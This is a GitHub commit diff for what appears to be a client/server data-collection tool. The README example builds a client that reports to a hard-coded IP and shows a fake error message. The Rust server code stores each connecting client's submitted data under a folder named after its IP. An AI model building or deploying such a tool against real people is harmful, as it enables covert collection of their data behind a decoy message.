Skip to content

Commit

Permalink
update server so it stores under the data folder
Browse files Browse the repository at this point in the history
  • Loading branch information
darkarp committed Aug 13, 2021
1 parent 06e1009 commit e3ed1e4
Show file tree
Hide file tree
Showing 3 changed files with 2 additions and 5 deletions.
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -109,7 +109,7 @@ Running without any parameters will build the server and the client connecting t

A simple example of a build:
```powershell
python create.py --ip 92.34.11.220 --error --message An Error has happened
python create.py --ip 92.34.11.220 --error --message 'An Error has happened'
```

After creating the server and the client, make sure you're running the server when the client is ran.
Expand Down
3 changes: 0 additions & 3 deletions _modules/setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,3 @@ def install_cargo():

if __name__ == "__main__":
dependencies_missing()
# Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force -Scope CurrentUser;
# Install-Module VSSetup -Scope CurrentUser -Force;
# Get-VSSetupInstance | Select-VSSetupInstance -Latest -Require Microsoft.VisualStudio.Component.VC.Tools.x86.x64;
2 changes: 1 addition & 1 deletion templates/server
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ async fn write_document(req: HttpRequest, filename: String, data: Value) -> Resu
let mut foldername = "no-ip".to_string();
let mut filenum = 0;
if let Some(ip_addr) = req.peer_addr() {
foldername = ip_addr.ip().to_string();
foldername = format!("data/{}", ip_addr.ip().to_string())
}
while Path::new(
&get_filename(
Expand Down

0 comments on commit e3ed1e4

Please sign in to comment.